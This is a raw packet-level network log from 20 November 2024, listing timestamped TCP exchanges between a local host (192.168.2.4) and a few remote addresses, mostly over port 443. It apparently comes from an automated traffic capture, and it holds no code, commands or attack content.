Nov 20, 2024 07:49:06.995836020 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.068697929 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.069427013 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.069458961 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.070091963 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.070096970 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.103415012 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.103491068 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.103545904 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.103770018 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.103787899 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.103800058 CET	49832	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.103806973 CET	443	49832	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.107394934 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.107495070 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.107609987 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.107779980 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.107800961 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.171742916 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.171901941 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.171978951 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.172147036 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.172163010 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.172173977 CET	49833	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.172178984 CET	443	49833	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.175916910 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.175961018 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.176044941 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.176223040 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.176238060 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.206922054 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.207597017 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.207616091 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.208245039 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.208250046 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.250597000 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.251293898 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.251327991 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.251934052 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.251938105 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.307809114 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.307888031 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.307956934 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.308193922 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.308216095 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.308226109 CET	49834	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.308233023 CET	443	49834	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.311762094 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.311841965 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.311958075 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.312187910 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.312216997 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.350130081 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.350214005 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.350341082 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.350511074 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.350531101 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.350575924 CET	49835	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.350581884 CET	443	49835	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.354055882 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.354110003 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.354211092 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.354377985 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.354393959 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.748990059 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.749838114 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.749936104 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.750339031 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.750353098 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.816873074 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.817549944 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.817570925 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.818031073 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.818036079 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.848722935 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.848773956 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.848839998 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.849095106 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.849095106 CET	49836	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.849133015 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.849158049 CET	443	49836	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.852716923 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.852756977 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.852850914 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.853172064 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.853184938 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.877624989 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.878137112 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.878150940 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.878725052 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.878731012 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.915389061 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.915615082 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.915688038 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.926840067 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.926856995 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.926868916 CET	49837	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.926875114 CET	443	49837	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.933082104 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.933125973 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.933213949 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.933571100 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.933587074 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.950361967 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.950872898 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.950922012 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.951663971 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.951675892 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.980207920 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.980377913 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.980532885 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.980830908 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.980843067 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.980853081 CET	49821	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.980859041 CET	443	49821	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.984365940 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.984411001 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.984523058 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.984757900 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.984771967 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.991844893 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.992398977 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.992413044 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:07.992871046 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:07.992875099 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.053750038 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.053869009 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.054013014 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.054292917 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.054327965 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.054353952 CET	49838	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.054371119 CET	443	49838	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.057470083 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.057518959 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.057820082 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.057955980 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.057977915 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089195013 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089214087 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089335918 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.089351892 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089567900 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.089580059 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089589119 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.089777946 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089827061 CET	443	49839	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.089888096 CET	49839	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.092660904 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.092683077 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.092763901 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.092894077 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.092909098 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.485615015 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.486388922 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.486416101 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.486944914 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.486955881 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.581300974 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.582355022 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.582397938 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.583072901 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.583079100 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.585131884 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.585194111 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.585283041 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.585516930 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.585536957 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.585549116 CET	49840	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.585553885 CET	443	49840	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.588741064 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.588835955 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.588954926 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.589096069 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.589137077 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.641172886 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.642426968 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.642477989 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.643197060 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.643209934 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.680959940 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.681034088 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.681179047 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.681420088 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.681447983 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.681458950 CET	49841	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.681464911 CET	443	49841	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.684735060 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.684772015 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.684883118 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.685045004 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.685055017 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.723727942 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.724586010 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.724620104 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.725075006 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.725081921 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.741445065 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.741476059 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.741571903 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.741575003 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.741681099 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.741796017 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.741820097 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.741873026 CET	49842	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.741888046 CET	443	49842	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.754949093 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.755014896 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.755131006 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.755398035 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.755428076 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.771073103 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.771578074 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.771586895 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.772033930 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.772037983 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829184055 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829202890 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829286098 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.829308033 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829325914 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829365969 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.829405069 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.829600096 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.829617977 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.829651117 CET	49843	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.829657078 CET	443	49843	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.832900047 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.832940102 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.833045959 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.833209991 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.833223104 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886439085 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886492968 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886574984 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.886600018 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886622906 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886676073 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.886926889 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.886940956 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.886955023 CET	49844	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.886960030 CET	443	49844	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.890230894 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.890275002 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:08.890398979 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.890579939 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:08.890597105 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.127665043 CET	49724	80	192.168.2.4	93.184.221.240
Nov 20, 2024 07:49:09.133213997 CET	80	49724	93.184.221.240	192.168.2.4
Nov 20, 2024 07:49:09.133347988 CET	49724	80	192.168.2.4	93.184.221.240
Nov 20, 2024 07:49:09.227740049 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.228524923 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.228589058 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.229044914 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.229057074 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.319694042 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.322252035 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.322273970 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.322743893 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.322747946 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.329299927 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.329998970 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.332449913 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.332554102 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.332587957 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.332618952 CET	49845	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.332653046 CET	443	49845	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.335920095 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.335949898 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.336035013 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.336178064 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.336191893 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.406522989 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.407301903 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.407358885 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.407793045 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.407809019 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.418993950 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.419131041 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.419255018 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.419557095 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.419572115 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.419581890 CET	49846	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.419585943 CET	443	49846	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.423213005 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.423269033 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.423362017 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.423541069 CET	49851	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.423557043 CET	443	49851	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.465909004 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.466923952 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.466939926 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.467408895 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.467416048 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.512104034 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.512645960 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.512746096 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.512834072 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.512866020 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.512923002 CET	49847	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.512938976 CET	443	49847	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.516102076 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.516175032 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.516297102 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.516539097 CET	49852	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.516572952 CET	443	49852	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.531219006 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.531699896 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.531729937 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.532170057 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.532179117 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.566494942 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.567327976 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.567426920 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.567456961 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.567473888 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.567486048 CET	49848	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.567492962 CET	443	49848	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.570744991 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.570799112 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.570903063 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.571095943 CET	49853	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.571114063 CET	443	49853	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.630331993 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.630537987 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.630711079 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.630779982 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.630800009 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.630835056 CET	49849	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.630841970 CET	443	49849	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.634129047 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.634221077 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.634352922 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.634552002 CET	49854	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.634571075 CET	443	49854	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.973840952 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.981230021 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.981267929 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:09.981872082 CET	49850	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:09.981880903 CET	443	49850	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:10.077460051 CET	443	49850	13.107.246.45	192.168.2.4
